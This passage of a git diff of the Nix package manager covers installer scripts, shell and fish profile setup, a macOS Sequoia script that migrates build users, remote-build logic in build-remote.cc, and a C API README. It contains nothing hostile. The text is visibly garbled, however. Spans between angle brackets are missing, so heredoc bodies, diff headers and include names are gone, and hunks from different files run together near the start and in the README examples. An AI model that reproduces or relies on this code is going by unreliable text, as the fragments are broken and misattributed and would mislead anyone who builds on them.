NIX_BUILD_USER_NAME_TEMPLATE="_nixbld%d" + readonly NIX_DAEMON_DEST=/Library/LaunchDaemons/org.nixos.nix-daemon.plist # create by default; set 0 to DIY, use a symlink, etc. readonly NIX_VOLUME_CREATE=${NIX_VOLUME_CREATE:-1} # now default -NIX_FIRST_BUILD_UID="301" -NIX_BUILD_USER_NAME_TEMPLATE="_nixbld%d" # caution: may update times on / if not run as normal non-root user read_only_root() { @@ -100,7 +102,7 @@ poly_extra_try_me_commands() { poly_configure_nix_daemon_service() { task "Setting up the nix-daemon LaunchDaemon" _sudo "to set up the nix-daemon as a LaunchDaemon" \ - /bin/cp -f "/nix/var/nix/profiles/default$NIX_DAEMON_DEST" "$NIX_DAEMON_DEST" + /usr/bin/install -m "u=rw,go=r" "/nix/var/nix/profiles/default$NIX_DAEMON_DEST" "$NIX_DAEMON_DEST" _sudo "to load the LaunchDaemon plist for nix-daemon" \ launchctl load /Library/LaunchDaemons/org.nixos.nix-daemon.plist diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh index ec82e0560..6aee073e3 100644 --- a/scripts/install-multi-user.sh +++ b/scripts/install-multi-user.sh @@ -25,9 +25,9 @@ readonly RED='\033[31m' readonly NIX_USER_COUNT=${NIX_USER_COUNT:-32} readonly NIX_BUILD_GROUP_ID="${NIX_BUILD_GROUP_ID:-30000}" readonly NIX_BUILD_GROUP_NAME="nixbld" -# darwin installer needs to override these -NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-30001}" -NIX_BUILD_USER_NAME_TEMPLATE="nixbld%d" +# each system specific installer must set these: +# NIX_FIRST_BUILD_UID +# NIX_BUILD_USER_NAME_TEMPLATE # Please don't change this. We don't support it, because the # default shell profile that comes with Nix doesn't support it. readonly NIX_ROOT="/nix" @@ -136,7 +136,7 @@ EOF cat <${RED}%<${ESC}" + diff --changed-group-format="$CHANGED_GROUP_FORMAT" "$@" + else # simple colorized diff comatible w/ pre `--color` versions - diff --unchanged-group-format="$_UNCHANGED_GRP_FMT" --old-line-format="$_OLD_LINE_FMT" --new-line-format="$_NEW_LINE_FMT" --unchanged-line-format=" %L" "$@" + diff --unchanged-group-format="$_UNCHANGED_GRP_FMT" --old-line-format="$_OLD_LINE_FMT" --new-line-format="$_NEW_LINE_FMT" --unchanged-line-format=" %L" "$@" + fi } confirm_rm() { @@ -445,6 +452,14 @@ EOF # a row for different files. if [ -e "$profile_target$PROFILE_BACKUP_SUFFIX" ]; then # this backup process first released in Nix 2.1 + + if diff -q "$profile_target$PROFILE_BACKUP_SUFFIX" "$profile_target" > /dev/null; then + # a backup file for the rc-file exist, but they are identical, + # so we can safely ignore it and overwrite it with the same + # content later + continue + fi + failure <&2 exit 1 @@ -196,7 +198,7 @@ fi # Install an SSL certificate bundle. if [ -z "$NIX_SSL_CERT_FILE" ] || ! [ -f "$NIX_SSL_CERT_FILE" ]; then "$nix/bin/nix-env" -i "$cacert" - export NIX_SSL_CERT_FILE="$HOME/.nix-profile/etc/ssl/certs/ca-bundle.crt" + export NIX_SSL_CERT_FILE="$NIX_LINK/etc/ssl/certs/ca-bundle.crt" fi # Subscribe the user to the Nixpkgs channel and fetch it. @@ -214,8 +216,8 @@ fi added= p= -p_sh=$HOME/.nix-profile/etc/profile.d/nix.sh -p_fish=$HOME/.nix-profile/etc/profile.d/nix.fish +p_sh=$NIX_LINK/etc/profile.d/nix.sh +p_fish=$NIX_LINK/etc/profile.d/nix.fish if [ -z "$NIX_INSTALLER_NO_MODIFY_PROFILE" ]; then # Make the shell source nix.sh during login. for i in .bash_profile .bash_login .profile; do diff --git a/scripts/install-systemd-multi-user.sh b/scripts/install-systemd-multi-user.sh index 62397127a..a62ed7e3a 100755 --- a/scripts/install-systemd-multi-user.sh +++ b/scripts/install-systemd-multi-user.sh @@ -3,6 +3,10 @@ set -eu set -o pipefail +# System specific settings +export NIX_FIRST_BUILD_UID="${NIX_FIRST_BUILD_UID:-30001}" +export NIX_BUILD_USER_NAME_TEMPLATE="nixbld%d" + readonly SERVICE_SRC=/lib/systemd/system/nix-daemon.service readonly SERVICE_DEST=/etc/systemd/system/nix-daemon.service @@ -24,12 +28,17 @@ $1 EOF } +escape_systemd_env() { + temp_var="${1//\'/\\\'}" + echo "${temp_var//\%/%%}" +} + # Gather all non-empty proxy environment variables into a string create_systemd_proxy_env() { - vars="http_proxy https_proxy ftp_proxy no_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY NO_PROXY" + vars="http_proxy https_proxy ftp_proxy all_proxy no_proxy HTTP_PROXY HTTPS_PROXY FTP_PROXY ALL_PROXY NO_PROXY" for v in $vars; do if [ "x${!v:-}" != "x" ]; then - echo "Environment=${v}=${!v}" + echo "Environment=${v}=$(escape_systemd_env ${!v})" fi done } @@ -87,7 +96,7 @@ poly_configure_nix_daemon_service() { task "Setting up the nix-daemon systemd service" _sudo "to create the nix-daemon tmpfiles config" \ - ln -sfn /nix/var/nix/profiles/default/$TMPFILES_SRC $TMPFILES_DEST + ln -sfn "/nix/var/nix/profiles/default$TMPFILES_SRC" "$TMPFILES_DEST" _sudo "to run systemd-tmpfiles once to pick that path up" \ systemd-tmpfiles --create --prefix=/nix/var/nix diff --git a/scripts/install.in b/scripts/install.in index 7d2e52b26..b4e808d8e 100755 --- a/scripts/install.in +++ b/scripts/install.in @@ -50,6 +50,11 @@ case "$(uname -s).$(uname -m)" in path=@tarballPath_armv7l-linux@ system=armv7l-linux ;; + Linux.riscv64) + hash=@tarballHash_riscv64-linux@ + path=@tarballPath_riscv64-linux@ + system=riscv64-linux + ;; Darwin.x86_64) hash=@tarballHash_x86_64-darwin@ path=@tarballPath_x86_64-darwin@ diff --git a/scripts/installer.nix b/scripts/installer.nix new file mode 100644 index 000000000..cc7759c2c --- /dev/null +++ b/scripts/installer.nix @@ -0,0 +1,36 @@ +{ lib +, runCommand +, nix +, tarballs +}: + +runCommand "installer-script" { + buildInputs = [ nix ]; +} '' + mkdir -p $out/nix-support + + # Converts /nix/store/50p3qk8k...-nix-2.4pre20201102_550e11f/bin/nix to 50p3qk8k.../bin/nix. + tarballPath() { + # Remove the store prefix + local path=''${1#${builtins.storeDir}/} + # Get the path relative to the derivation root + local rest=''${path#*/} + # Get the derivation hash + local drvHash=''${path%%-*} + echo "$drvHash/$rest" + } + + substitute ${./install.in} $out/install \ + ${lib.concatMapStrings + (tarball: let + inherit (tarball.stdenv.hostPlatform) system; + in '' \ + --replace '@tarballHash_${system}@' $(nix --experimental-features nix-command hash-file --base16 --type sha256 ${tarball}/*.tar.xz) \ + --replace '@tarballPath_${system}@' $(tarballPath ${tarball}/*.tar.xz) \ + '' + ) + tarballs + } --replace '@nixVersion@' ${nix.version} + + echo "file installer $out/install" >> $out/nix-support/hydra-build-products +'' diff --git a/scripts/nix-profile-daemon.fish.in b/scripts/nix-profile-daemon.fish.in index 3d587dd7f..346dce5dd 100644 --- a/scripts/nix-profile-daemon.fish.in +++ b/scripts/nix-profile-daemon.fish.in @@ -1,3 +1,15 @@ +function add_path --argument-names new_path + if type -q fish_add_path + # fish 3.2.0 or newer + fish_add_path --prepend --global $new_path + else + # older versions of fish + if not contains $new_path $fish_user_paths + set --global fish_user_paths $new_path $fish_user_paths + end + end +end + # Only execute this file once per shell. if test -n "$__ETC_PROFILE_NIX_SOURCED" exit @@ -7,8 +19,16 @@ set __ETC_PROFILE_NIX_SOURCED 1 set --export NIX_PROFILES "@localstatedir@/nix/profiles/default $HOME/.nix-profile" +# Populate bash completions, .desktop files, etc +if test -z "$XDG_DATA_DIRS" + # According to XDG spec the default is /usr/local/share:/usr/share, don't set something that prevents that default + set --export XDG_DATA_DIRS "/usr/local/share:/usr/share:/nix/var/nix/profiles/default/share" +else + set --export XDG_DATA_DIRS "$XDG_DATA_DIRS:/nix/var/nix/profiles/default/share" +end + # Set $NIX_SSL_CERT_FILE so that Nixpkgs applications like curl work. -if test -n "$NIX_SSH_CERT_FILE" +if test -n "$NIX_SSL_CERT_FILE" : # Allow users to override the NIX_SSL_CERT_FILE else if test -e /etc/ssl/certs/ca-certificates.crt # NixOS, Ubuntu, Debian, Gentoo, Arch set --export NIX_SSL_CERT_FILE /etc/ssl/certs/ca-certificates.crt @@ -24,12 +44,14 @@ else if test -e "$NIX_LINK/etc/ca-bundle.crt" # old cacert in Nix profile set --export NIX_SSL_CERT_FILE "$NIX_LINK/etc/ca-bundle.crt" else # Fall back to what is in the nix profiles, favouring whatever is defined last. - for i in $NIX_PROFILES + for i in (string split ' ' $NIX_PROFILES) if test -e "$i/etc/ssl/certs/ca-bundle.crt" set --export NIX_SSL_CERT_FILE "$i/etc/ssl/certs/ca-bundle.crt" end end end -fish_add_path --prepend --global "@localstatedir@/nix/profiles/default/bin" -fish_add_path --prepend --global "$HOME/.nix-profile/bin" +add_path "@localstatedir@/nix/profiles/default/bin" +add_path "$HOME/.nix-profile/bin" + +functions -e add_path diff --git a/scripts/nix-profile-daemon.sh.in b/scripts/nix-profile-daemon.sh.in index 0a47571ac..eb124c0b5 100644 --- a/scripts/nix-profile-daemon.sh.in +++ b/scripts/nix-profile-daemon.sh.in @@ -1,8 +1,42 @@ # Only execute this file once per shell. +# This file is tested by tests/installer/default.nix. if [ -n "${__ETC_PROFILE_NIX_SOURCED:-}" ]; then return; fi __ETC_PROFILE_NIX_SOURCED=1 -export NIX_PROFILES="@localstatedir@/nix/profiles/default $HOME/.nix-profile" +NIX_LINK=$HOME/.nix-profile +if [ -n "${XDG_STATE_HOME-}" ]; then + NIX_LINK_NEW="$XDG_STATE_HOME/nix/profile" +else + NIX_LINK_NEW=$HOME/.local/state/nix/profile +fi +if [ -e "$NIX_LINK_NEW" ]; then + if [ -t 2 ] && [ -e "$NIX_LINK" ]; then + warning="\033[1;35mwarning:\033[0m" + printf "$warning Both %s and legacy %s exist; using the former.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2 + if [ "$(realpath "$NIX_LINK")" = "$(realpath "$NIX_LINK_NEW")" ]; then + printf " Since the profiles match, you can safely delete either of them.\n" 1>&2 + else + # This should be an exceptionally rare occasion: the only way to get it would be to + # 1. Update to newer Nix; + # 2. Remove .nix-profile; + # 3. Set the $NIX_LINK_NEW to something other than the default user profile; + # 4. Roll back to older Nix. + # If someone did all that, they can probably figure out how to migrate the profile. + printf "$warning Profiles do not match. You should manually migrate from %s to %s.\n" "$NIX_LINK" "$NIX_LINK_NEW" 1>&2 + fi + fi + NIX_LINK="$NIX_LINK_NEW" +fi + +export NIX_PROFILES="@localstatedir@/nix/profiles/default $NIX_LINK" + +# Populate bash completions, .desktop files, etc +if [ -z "${XDG_DATA_DIRS-}" ]; then + # According to XDG spec the default is /usr/local/share:/usr/share, don't set something that prevents that default + export XDG_DATA_DIRS="/usr/local/share:/usr/share:$NIX_LINK/share:/nix/var/nix/profiles/default/share" +else + export XDG_DATA_DIRS="$XDG_DATA_DIRS:$NIX_LINK/share:/nix/var/nix/profiles/default/share" +fi # Set $NIX_SSL_CERT_FILE so that Nixpkgs applications like curl work. if [ -n "${NIX_SSL_CERT_FILE:-}" ]; then @@ -34,4 +68,5 @@ else unset -f check_nix_profiles fi -export PATH="$HOME/.nix-profile/bin:@localstatedir@/nix/profiles/default/bin:$PATH" +export PATH="$NIX_LINK/bin:@localstatedir@/nix/profiles/default/bin:$PATH" +unset NIX_LINK NIX_LINK_NEW diff --git a/scripts/nix-profile.fish.in b/scripts/nix-profile.fish.in index 8d783d7c0..619df52b8 100644 --- a/scripts/nix-profile.fish.in +++ b/scripts/nix-profile.fish.in @@ -1,3 +1,15 @@ +function add_path --argument-names new_path + if type -q fish_add_path + # fish 3.2.0 or newer + fish_add_path --prepend --global $new_path + else + # older versions of fish + if not contains $new_path $fish_user_paths + set --global fish_user_paths $new_path $fish_user_paths + end + end +end + if test -n "$HOME" && test -n "$USER" # Set up the per-user profile. @@ -8,6 +20,14 @@ if test -n "$HOME" && test -n "$USER" # This part should be kept in sync with nixpkgs:nixos/modules/programs/environment.nix set --export NIX_PROFILES "@localstatedir@/nix/profiles/default $HOME/.nix-profile" + # Populate bash completions, .desktop files, etc + if test -z "$XDG_DATA_DIRS" + # According to XDG spec the default is /usr/local/share:/usr/share, don't set something that prevents that default + set --export XDG_DATA_DIRS "/usr/local/share:/usr/share:$NIX_LINK/share:/nix/var/nix/profiles/default/share" + else + set --export XDG_DATA_DIRS "$XDG_DATA_DIRS:$NIX_LINK/share:/nix/var/nix/profiles/default/share" + end + # Set $NIX_SSL_CERT_FILE so that Nixpkgs applications like curl work. if test -n "$NIX_SSH_CERT_FILE" : # Allow users to override the NIX_SSL_CERT_FILE @@ -32,6 +52,8 @@ if test -n "$HOME" && test -n "$USER" set --export --prepend --path MANPATH "$NIX_LINK/share/man" end - fish_add_path --prepend --global "$NIX_LINK/bin" + add_path "$NIX_LINK/bin" set --erase NIX_LINK end + +functions -e add_path diff --git a/scripts/nix-profile.sh.in b/scripts/nix-profile.sh.in index 5636085d4..e868399b1 100644 --- a/scripts/nix-profile.sh.in +++ b/scripts/nix-profile.sh.in @@ -1,12 +1,44 @@ +# This file is tested by tests/installer/default.nix. if [ -n "$HOME" ] && [ -n "$USER" ]; then # Set up the per-user profile. - NIX_LINK=$HOME/.nix-profile + NIX_LINK="$HOME/.nix-profile" + if [ -n "${XDG_STATE_HOME-}" ]; then + NIX_LINK_NEW="$XDG_STATE_HOME/nix/profile" + else + NIX_LINK_NEW="$HOME/.local/state/nix/profile" + fi + if [ -e "$NIX_LINK_NEW" ]; then + if [ -t 2 ] && [ -e "$NIX_LINK" ]; then + warning="\033[1;35mwarning:\033[0m" + printf "$warning Both %s and legacy %s exist; using the former.\n" "$NIX_LINK_NEW" "$NIX_LINK" 1>&2 + if [ "$(realpath "$NIX_LINK")" = "$(realpath "$NIX_LINK_NEW")" ]; then + printf " Since the profiles match, you can safely delete either of them.\n" 1>&2 + else + # This should be an exceptionally rare occasion: the only way to get it would be to + # 1. Update to newer Nix; + # 2. Remove .nix-profile; + # 3. Set the $NIX_LINK_NEW to something other than the default user profile; + # 4. Roll back to older Nix. + # If someone did all that, they can probably figure out how to migrate the profile. + printf "$warning Profiles do not match. You should manually migrate from %s to %s.\n" "$NIX_LINK" "$NIX_LINK_NEW" 1>&2 + fi + fi + NIX_LINK="$NIX_LINK_NEW" + fi # Set up environment. # This part should be kept in sync with nixpkgs:nixos/modules/programs/environment.nix - export NIX_PROFILES="@localstatedir@/nix/profiles/default $HOME/.nix-profile" + export NIX_PROFILES="@localstatedir@/nix/profiles/default $NIX_LINK" + + # Populate bash completions, .desktop files, etc + if [ -z "${XDG_DATA_DIRS-}" ]; then + # According to XDG spec the default is /usr/local/share:/usr/share, don't set something that prevents that default + export XDG_DATA_DIRS="/usr/local/share:/usr/share:$NIX_LINK/share:/nix/var/nix/profiles/default/share" + else + export XDG_DATA_DIRS="$XDG_DATA_DIRS:$NIX_LINK/share:/nix/var/nix/profiles/default/share" + fi # Set $NIX_SSL_CERT_FILE so that Nixpkgs applications like curl work. if [ -e /etc/ssl/certs/ca-certificates.crt ]; then # NixOS, Ubuntu, Debian, Gentoo, Arch @@ -31,5 +63,5 @@ if [ -n "$HOME" ] && [ -n "$USER" ]; then fi export PATH="$NIX_LINK/bin:$PATH" - unset NIX_LINK + unset NIX_LINK NIX_LINK_NEW fi diff --git a/scripts/sequoia-nixbld-user-migration.sh b/scripts/sequoia-nixbld-user-migration.sh new file mode 100755 index 000000000..9208a3605 --- /dev/null +++ b/scripts/sequoia-nixbld-user-migration.sh @@ -0,0 +1,163 @@ +#!/usr/bin/env bash + +set -x + +((NEW_NIX_FIRST_BUILD_UID=350)) +((TEMP_NIX_FIRST_BUILD_UID=31000)) + +nix_user_n() { + printf "_nixbld%d" "$1" +} + +id_unavailable(){ + dscl . list /Users UniqueID | grep -E '\b'"$1"'\b' >/dev/null +} + +any_nixbld(){ + dscl . list /Users UniqueID | grep -E '\b_nixbld' >/dev/null +} + +re_create_nixbld_user(){ + local name uid + + name="$1" + uid="$2" + + sudo /usr/bin/dscl . -create "/Users/$name" "UniqueID" "$uid" + sudo /usr/bin/dscl . -create "/Users/$name" "IsHidden" "1" + sudo /usr/bin/dscl . -create "/Users/$name" "NFSHomeDirectory" "/var/empty" + sudo /usr/bin/dscl . -create "/Users/$name" "RealName" "Nix build user $name" + sudo /usr/bin/dscl . -create "/Users/$name" "UserShell" "/sbin/nologin" + sudo /usr/bin/dscl . -create "/Users/$name" "PrimaryGroupID" "30001" +} + +hit_id_cap(){ + echo "We've hit UID 400 without placing all of your users :(" + echo "You should use the commands in this script as a starting" + echo "point to review your UID-space and manually move the" + echo "remaining users (or delete them, if you don't need them)." +} + +# evacuate the role-uid space to simplify final placement logic +temporarily_move_existing_nixbld_uids(){ + local name uid next_id user_n + + ((next_id=TEMP_NIX_FIRST_BUILD_UID)) + + echo "" + echo "Step 1: move existing _nixbld users out of the destination UID range." + + while read -r name uid; do + # iterate for a clean ID + while id_unavailable "$next_id"; do + ((next_id++)) + # We really want to get these all placed, but I guess there's + # some risk we iterate forever--so we'll give up after 9k uids. + if ((next_id >= 40000)); then + echo "We've hit UID 40000 without temporarily placing all of your users :(" + echo "You should use the commands in this script as a starting" + echo "point to review your UID-space and manually move the" + echo "remaining users to any open UID over 1000." + exit 1 + fi + done + sudo dscl . -create "/Users/$name" UniqueID "$next_id" + echo " Temporarily moved $name from uid $uid -> $next_id" + + done < <(dscl . list /Users UniqueID | grep _nixbld | sort -n -k2) +} + +change_nixbld_uids(){ + local name next_id user_n + + ((next_id=NEW_NIX_FIRST_BUILD_UID)) + ((user_n=1)) + name="$(nix_user_n "$user_n")" + + # we know that we have *some* nixbld users, but macOS may have + # already clobbered the first few users if this system has been + # upgraded + + echo "" + echo "Step 2: re-create missing early _nixbld# users." + + until dscl . read "/Users/$name" &>/dev/null; do + # iterate for a clean ID + while id_unavailable "$next_id"; do + ((next_id++)) + if ((next_id >= 400)); then + hit_id_cap + exit 1 + fi + done + + re_create_nixbld_user "$name" "$next_id" + echo " $name was missing; created with uid: $next_id" + + ((user_n++)) + name="$(nix_user_n "$user_n")" + done + + echo "" + echo "Step 3: relocate remaining _nixbld# UIDs to $next_id+" + + # start at first _nixbld# not re-created above and increment + # until _nixbld doesn't exist + while dscl . read "/Users/$name" &>/dev/null; do + # iterate for a clean ID + while id_unavailable "$next_id"; do + ((next_id++)) + if ((next_id >= 400)); then + hit_id_cap + exit 1 + fi + done + + sudo dscl . -create "/Users/$name" UniqueID "$next_id" + echo " $name migrated to uid: $next_id" + + ((user_n++)) + name="$(nix_user_n "$user_n")" + done + + if ((user_n == 1)); then + echo "Didn't find _nixbld1. Perhaps you have single-user Nix?" + exit 1 + else + echo "Migrated $((user_n - 1)) users. If you want to double-check, try:" + echo "dscl . list /Users UniqueID | grep _nixbld | sort -n -k2" + fi +} +needs_migration(){ + local name uid next_id user_n + + ((next_id=NEW_NIX_FIRST_BUILD_UID)) + ((user_n=1)) + + while read -r name uid; do + expected_name="$(nix_user_n "$user_n")" + if [[ "$expected_name" != "$name" ]]; then + return 0 + fi + if [[ "$next_id" != "$uid" ]]; then + return 0 + fi + ((next_id++)) + ((user_n++)) + done < <(dscl . list /Users UniqueID | grep _nixbld | sort -n -k2) + return 1 +} + + +if any_nixbld; then + if needs_migration; then + echo "Attempting to migrate _nixbld users." + temporarily_move_existing_nixbld_uids + change_nixbld_uids + else + echo "_nixbld users already appear to be migrated." + fi +else + echo "Didn't find any _nixbld users. Perhaps you have single-user Nix?" + exit 1 +fi diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 6b81ecc49..82ad7d862 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -11,11 +11,13 @@ #include "machines.hh" #include "shared.hh" +#include "plugin.hh" #include "pathlocks.hh" #include "globals.hh" #include "serialise.hh" #include "build-result.hh" #include "store-api.hh" +#include "strings.hh" #include "derivations.hh" #include "local-store.hh" #include "legacy.hh" @@ -37,7 +39,7 @@ static std::string currentLoad; static AutoCloseFD openSlotLock(const Machine & m, uint64_t slot) { - return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri), slot), true); + return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri.render()), slot), true); } static bool allSupportedLocally(Store & store, const std::set& requiredFeatures) { @@ -72,6 +74,7 @@ static int main_build_remote(int argc, char * * argv) settings.set(name, value); } + auto maxBuildJobs = settings.maxBuildJobs; settings.maxBuildJobs.set("1"); // hack to make tests with local?root= work initPlugins(); @@ -112,10 +115,14 @@ static int main_build_remote(int argc, char * * argv) drvPath = store->parseStorePath(readString(source)); auto requiredFeatures = readStrings>(source); - auto canBuildLocally = amWilling + /* It would be possible to build locally after some builds clear out, + so don't show the warning now: */ + bool couldBuildLocally = maxBuildJobs > 0 && ( neededSystem == settings.thisSystem || settings.extraPlatforms.get().count(neededSystem) > 0) && allSupportedLocally(*store, requiredFeatures); + /* It's possible to build this locally right now: */ + bool canBuildLocally = amWilling && couldBuildLocally; /* Error ignored here, will be caught later */ mkdir(currentLoad.c_str(), 0777); @@ -130,13 +137,10 @@ static int main_build_remote(int argc, char * * argv) Machine * bestMachine = nullptr; uint64_t bestLoad = 0; for (auto & m : machines) { - debug("considering building on remote machine '%s'", m.storeUri); + debug("considering building on remote machine '%s'", m.storeUri.render()); - if (m.enabled - && (neededSystem == "builtin" - || std::find(m.systemTypes.begin(), - m.systemTypes.end(), - neededSystem) != m.systemTypes.end()) && + if (m.enabled && + m.systemSupported(neededSystem) && m.allSupported(requiredFeatures) && m.mandatoryMet(requiredFeatures)) { @@ -200,7 +204,7 @@ static int main_build_remote(int argc, char * * argv) else drvstr = ""; - auto error = hintformat(errorText); + auto error = HintFmt::fromFormatString(errorText); error % drvstr % neededSystem @@ -209,12 +213,12 @@ static int main_build_remote(int argc, char * * argv) for (auto & m : machines) error - % concatStringsSep>(", ", m.systemTypes) + % concatStringsSep(", ", m.systemTypes) % m.maxJobs % concatStringsSep(", ", m.supportedFeatures) % concatStringsSep(", ", m.mandatoryFeatures); - printMsg(canBuildLocally ? lvlChatty : lvlWarn, error); + printMsg(couldBuildLocally ? lvlChatty : lvlWarn, error.str()); std::cerr << "# decline\n"; } @@ -230,17 +234,16 @@ static int main_build_remote(int argc, char * * argv) lock = -1; try { + storeUri = bestMachine->storeUri.render(); - Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", bestMachine->storeUri)); + Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", storeUri)); sshStore = bestMachine->openStore(); sshStore->connect(); - storeUri = bestMachine->storeUri; - } catch (std::exception & e) { auto msg = chomp(drainFD(5, false)); printError("cannot build on '%s': %s%s", - bestMachine->storeUri, e.what(), + storeUri, e.what(), msg.empty() ? "" : ": " + msg); bestMachine->enabled = false; continue; @@ -253,12 +256,27 @@ static int main_build_remote(int argc, char * * argv) connected: close(5); + assert(sshStore); + std::cerr << "# accept\n" << storeUri << "\n"; auto inputs = readStrings(source); auto wantedOutputs = readStrings(source); - AutoCloseFD uploadLock = openLockFile(currentLoad + "/" + escapeUri(storeUri) + ".upload-lock", true); + AutoCloseFD uploadLock; + { + auto setUpdateLock = [&](auto && fileName){ + uploadLock = openLockFile(currentLoad + "/" + escapeUri(fileName) + ".upload-lock", true); + }; + try { + setUpdateLock(storeUri); + } catch (SysError & e) { + if (e.errNo != ENAMETOOLONG) throw; + // Try again hashing the store URL so we have a shorter path + auto h = hashString(HashAlgorithm::MD5, storeUri); + setUpdateLock(h.to_string(HashFormat::Base64, false)); + } + } { Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri)); @@ -281,33 +299,66 @@ connected: uploadLock = -1; auto drv = store->readDerivation(*drvPath); + + std::optional optResult; + + // If we don't know whether we are trusted (e.g. `ssh://` + // stores), we assume we are. This is necessary for backwards + // compat. + bool trustedOrLegacy = ({ + std::optional trusted = sshStore->isTrustedClient(); + !trusted || *trusted; + }); + + // See the very large comment in `case WorkerProto::Op::BuildDerivation:` in + // `src/libstore/daemon.cc` that explains the trust model here. + // + // This condition mirrors that: that code enforces the "rules" outlined there; + // we do the best we can given those "rules". + if (trustedOrLegacy || drv.type().isCA()) { + // Hijack the inputs paths of the derivation to include all + // the paths that come from the `inputDrvs` set. We don’t do + // that for the derivations whose `inputDrvs` is empty + // because: + // + // 1. It’s not needed + // + // 2. Changing the `inputSrcs` set changes the associated + // output ids, which break CA derivations + if (!drv.inputDrvs.map.empty()) + drv.inputSrcs = store->parseStorePathSet(inputs); + optResult = sshStore->buildDerivation(*drvPath, (const BasicDerivation &) drv); + auto & result = *optResult; + if (!result.success()) + throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg); + } else { + copyClosure(*store, *sshStore, StorePathSet {*drvPath}, NoRepair, NoCheckSigs, substitute); + auto res = sshStore->buildPathsWithResults({ + DerivedPath::Built { + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All {}, + } + }); + // One path to build should produce exactly one build result + assert(res.size() == 1); + optResult = std::move(res[0]); + } + + auto outputHashes = staticOutputHashes(*store, drv); - - // Hijack the inputs paths of the derivation to include all the paths - // that come from the `inputDrvs` set. - // We don’t do that for the derivations whose `inputDrvs` is empty - // because - // 1. It’s not needed - // 2. Changing the `inputSrcs` set changes the associated output ids, - // which break CA derivations - if (!drv.inputDrvs.empty()) - drv.inputSrcs = store->parseStorePathSet(inputs); - - auto result = sshStore->buildDerivation(*drvPath, drv); - - if (!result.success()) - throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg); - std::set missingRealisations; StorePathSet missingPaths; - if (settings.isExperimentalFeatureEnabled(Xp::CaDerivations) && !drv.type().hasKnownOutputPaths()) { + if (experimentalFeatureSettings.isEnabled(Xp::CaDerivations) && !drv.type().hasKnownOutputPaths()) { for (auto & outputName : wantedOutputs) { auto thisOutputHash = outputHashes.at(outputName); auto thisOutputId = DrvOutput{ thisOutputHash, outputName }; if (!store->queryRealisation(thisOutputId)) { debug("missing output %s", outputName); - assert(result.builtOutputs.count(thisOutputId)); - auto newRealisation = result.builtOutputs.at(thisOutputId); + assert(optResult); + auto & result = *optResult; + auto i = result.builtOutputs.find(outputName); + assert(i != result.builtOutputs.end()); + auto & newRealisation = i->second; missingRealisations.insert(newRealisation); missingPaths.insert(newRealisation.outPath); } @@ -332,7 +383,7 @@ connected: for (auto & realisation : missingRealisations) { // Should hold, because if the feature isn't enabled the set // of missing realisations should be empty - settings.requireExperimentalFeature(Xp::CaDerivations); + experimentalFeatureSettings.require(Xp::CaDerivations); store->registerDrvOutput(realisation); } diff --git a/src/external-api-docs/.gitignore b/src/external-api-docs/.gitignore new file mode 100644 index 000000000..dab28b6b0 --- /dev/null +++ b/src/external-api-docs/.gitignore @@ -0,0 +1,3 @@ +/doxygen.cfg +/html +/latex diff --git a/src/external-api-docs/.version b/src/external-api-docs/.version new file mode 120000 index 000000000..b7badcd0c --- /dev/null +++ b/src/external-api-docs/.version @@ -0,0 +1 @@ +../../.version \ No newline at end of file diff --git a/src/external-api-docs/README.md b/src/external-api-docs/README.md new file mode 100644 index 000000000..8760ac88b --- /dev/null +++ b/src/external-api-docs/README.md @@ -0,0 +1,121 @@ +# Getting started + +> **Warning** These bindings are **experimental**, which means they can change +> at any time or be removed outright; nevertheless the plan is to provide a +> stable external C API to the Nix language and the Nix store. + +The language library allows evaluating Nix expressions and interacting with Nix +language values. The Nix store API is still rudimentary, and only allows +initialising and connecting to a store for the Nix language evaluator to +interact with. + +Currently there are two ways to interface with the Nix language evaluator +programmatically: + +1. Embedding the evaluator +2. Writing language plug-ins + +Embedding means you link the Nix C libraries in your program and use them from +there. Adding a plug-in means you make a library that gets loaded by the Nix +language evaluator, specified through a configuration option. + +Many of the components and mechanisms involved are not yet documented, therefore +please refer to the [Nix source code](https://github.com/NixOS/nix/) for +details. Additions to in-code documentation and the reference manual are highly +appreciated. + +The following examples, for simplicity, don't include error handling. See the +[Handling errors](@ref errors) section for more information. + +# Embedding the Nix Evaluator{#nix_evaluator_example} + +In this example we programmatically start the Nix language evaluator with a +dummy store (that has no store paths and cannot be written to), and evaluate the +Nix expression `builtins.nixVersion`. + +**main.c:** + +```C +#include +#include +#include +#include +#include +#include + +// NOTE: This example lacks all error handling. Production code must check for +// errors, as some return values will be undefined. + +void my_get_string_cb(const char * start, unsigned int n, void * user_data) +{ + *((char **) user_data) = strdup(start); +} + +int main() +{ + nix_libexpr_init(NULL); + + Store * store = nix_store_open(NULL, "dummy://", NULL); + EvalState * state = nix_state_create(NULL, NULL, store); // empty search path (NIX_PATH) + Value * value = nix_alloc_value(NULL, state); + + nix_expr_eval_from_string(NULL, state, "builtins.nixVersion", ".", value); + nix_value_force(NULL, state, value); + + char * version; + nix_get_string(NULL, value, my_get_string_cb, &version); + printf("Nix version: %s\n", version); + + free(version); + nix_gc_decref(NULL, value); + nix_state_free(state); + nix_store_free(store); + return 0; +} +``` + +**Usage:** + +```ShellSession +$ gcc main.c $(pkg-config nix-expr-c --libs --cflags) -o main +$ ./main +Nix version: 2.17 +``` + +# Writing a Nix language plug-in + +In this example we add a custom primitive operation (_primop_) to `builtins`. It +will increment the argument if it is an integer and throw an error otherwise. + +**plugin.c:** + +```C +#include +#include +#include + +void increment(void* user_data, nix_c_context* ctx, EvalState* state, Value** args, Value* v) { + nix_value_force(NULL, state, args[0]); + if (nix_get_type(NULL, args[0]) == NIX_TYPE_INT) { + nix_init_int(NULL, v, nix_get_int(NULL, args[0]) + 1); + } else { + 